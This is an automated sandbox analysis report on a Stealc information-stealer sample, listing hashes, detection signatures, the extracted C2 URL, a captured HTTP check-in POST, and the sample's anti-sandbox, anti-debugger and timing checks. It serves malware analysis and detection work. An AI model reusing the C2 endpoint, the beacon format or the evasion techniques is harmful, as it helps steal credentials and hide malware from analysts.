Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1520640
MD5:	fe0680dfa4a95f3c9f5efe7b68bebdc8
SHA1:	e9bc2c7b21daeb95a9d77aa34afc1476648b573f
SHA256:	aeb0218c5ae46c5d264100339920bca9c56a8f83b0a37383dbea2e33683d35d8
Tags:	exeMarsStealeruser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6952 cmdline: "C:\Users\user\Desktop\file.exe" MD5: FE0680DFA4A95F3C9F5EFE7B68BEBDC8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1367337890.00000000009BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1326837199.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6952	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6952	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.ca0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T17:41:16.620266+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49705	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.ca0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CAC820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00CAC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CA9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00CA9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CA7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00CA7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CA9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00CA9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00CB8EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00CB38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CB4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CADA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00CADA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CAE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00CAE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00CB4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CAED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00CAED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CA16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CA16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00CB3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CAF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CAF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CABE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00CABE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CADE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00CADE10

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49705 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFCFBKKKFHCFHJKFIIEHHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 30 44 33 35 30 41 33 30 31 44 33 36 36 33 38 31 32 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 2d 2d 0d 0a Data Ascii: ------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="hwid"4B0D350A301D3663812181------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="build"save------BFCFBKKKFHCFHJKFIIEH--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CA4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00CA4880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFCFBKKKFHCFHJKFIIEHHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 30 44 33 35 30 41 33 30 31 44 33 36 36 33 38 31 32 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 2d 2d 0d 0a Data Ascii: ------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="hwid"4B0D350A301D3663812181------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="build"save------BFCFBKKKFHCFHJKFIIEH--

Source: file.exe, 00000000.00000002.1367337890.00000000009BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1367337890.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1367337890.0000000000A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1367337890.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37//%
Source: file.exe, 00000000.00000002.1367337890.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/:%
Source: file.exe, 00000000.00000002.1367337890.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1367337890.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php0
Source: file.exe, 00000000.00000002.1367337890.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php?
Source: file.exe, 00000000.00000002.1367337890.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpg
Source: file.exe, 00000000.00000002.1367337890.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpktop
Source: file.exe, 00000000.00000002.1367337890.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: file.exe, 00000000.00000002.1367337890.00000000009BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37Wi

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106E96D	0_2_0106E96D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107417D	0_2_0107417D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010268A4	0_2_010268A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010753A2	0_2_010753A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE523A	0_2_00FE523A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010283F5	0_2_010283F5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01070AD7	0_2_01070AD7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107252B	0_2_0107252B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01188561	0_2_01188561
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106CDA5	0_2_0106CDA5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01055DE1	0_2_01055DE1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010A775F	0_2_010A775F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01096E2B	0_2_01096E2B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0115463A	0_2_0115463A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F24F5E	0_2_00F24F5E

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00CA45C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: vpiveclu ZLIB complexity 0.9948866430841404

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CB8680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00CB8680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CB3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00CB3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\A6GWCLAY.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 47%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1847808 > 1048576

Source: file.exe

Static PE information: Raw size of vpiveclu is bigger than: 0x100000 < 0x19d000

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.ca0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;vpiveclu:EW;abjcrpar:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;vpiveclu:EW;abjcrpar:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CB9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00CB9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c75ac should be: 0x1c75a5

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: vpiveclu
Source: file.exe	Static PE information: section name: abjcrpar
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0115B91E push esi; mov dword ptr [esp], ebx	0_2_0115B939
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F340FE push ecx; mov dword ptr [esp], edi	0_2_00F34151
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F340FE push edi; mov dword ptr [esp], eax	0_2_00F341A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F340FE push ebp; mov dword ptr [esp], 7BED5B1Bh	0_2_00F341A6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010FD143 push ecx; mov dword ptr [esp], esp	0_2_010FD1A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0113F141 push 5DA81FF7h; mov dword ptr [esp], edx	0_2_0113F1EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0117D948 push esi; mov dword ptr [esp], edi	0_2_0117DAA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106E96D push eax; mov dword ptr [esp], esp	0_2_0106E9A7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106E96D push esi; mov dword ptr [esp], ebp	0_2_0106E9BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106E96D push esi; mov dword ptr [esp], ebp	0_2_0106E9CD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106E96D push ecx; mov dword ptr [esp], esi	0_2_0106E9DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106E96D push 4D2A876Ah; mov dword ptr [esp], ebp	0_2_0106EA20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106E96D push edx; mov dword ptr [esp], edi	0_2_0106EAA4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106E96D push ebp; mov dword ptr [esp], ecx	0_2_0106EAB4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106E96D push 496D4BC9h; mov dword ptr [esp], eax	0_2_0106EB29
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106E96D push ebx; mov dword ptr [esp], edx	0_2_0106EB4B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106E96D push edi; mov dword ptr [esp], eax	0_2_0106EBDB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106E96D push ebx; mov dword ptr [esp], eax	0_2_0106EBF7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106E96D push eax; mov dword ptr [esp], esi	0_2_0106EC5A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106E96D push ebp; mov dword ptr [esp], edi	0_2_0106ECB5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106E96D push 743B2B31h; mov dword ptr [esp], eax	0_2_0106ECDA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106E96D push ecx; mov dword ptr [esp], ebp	0_2_0106ECF2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106E96D push ebx; mov dword ptr [esp], edx	0_2_0106ED28
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106E96D push 5A14BEC4h; mov dword ptr [esp], ebx	0_2_0106ED3E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106E96D push edx; mov dword ptr [esp], eax	0_2_0106ED6F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106E96D push ecx; mov dword ptr [esp], 7CE9A9ECh	0_2_0106EDAA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106E96D push edx; mov dword ptr [esp], 27AD0CD3h	0_2_0106EE60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106E96D push edi; mov dword ptr [esp], 2AFC5582h	0_2_0106EE9E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106E96D push 6F73E868h; mov dword ptr [esp], ebp	0_2_0106EEAD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106E96D push edx; mov dword ptr [esp], ebx	0_2_0106EF9E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0106E96D push edi; mov dword ptr [esp], 57B55081h	0_2_0106EFF1

Source: file.exe

Static PE information: section name: vpiveclu entropy: 7.954457957368027

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00CB9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13720

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F021B5 second address: F021CB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007F86385196DCh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107C277 second address: 107C27D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107C27D second address: 107C2AB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F86385196D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F86385196E0h 0x00000014 jmp 00007F86385196DFh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107C2AB second address: 107C2BF instructions: 0x00000000 rdtsc 0x00000002 jp 00007F863914EA26h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007F863914EA2Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107C2BF second address: 107C2C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076990 second address: 10769AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F863914EA37h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10769AC second address: 10769C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F86385196DAh 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10769C2 second address: 1076A03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F863914EA38h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 jmp 00007F863914EA37h 0x00000015 ja 00007F863914EA26h 0x0000001b pop edi 0x0000001c rdtsc
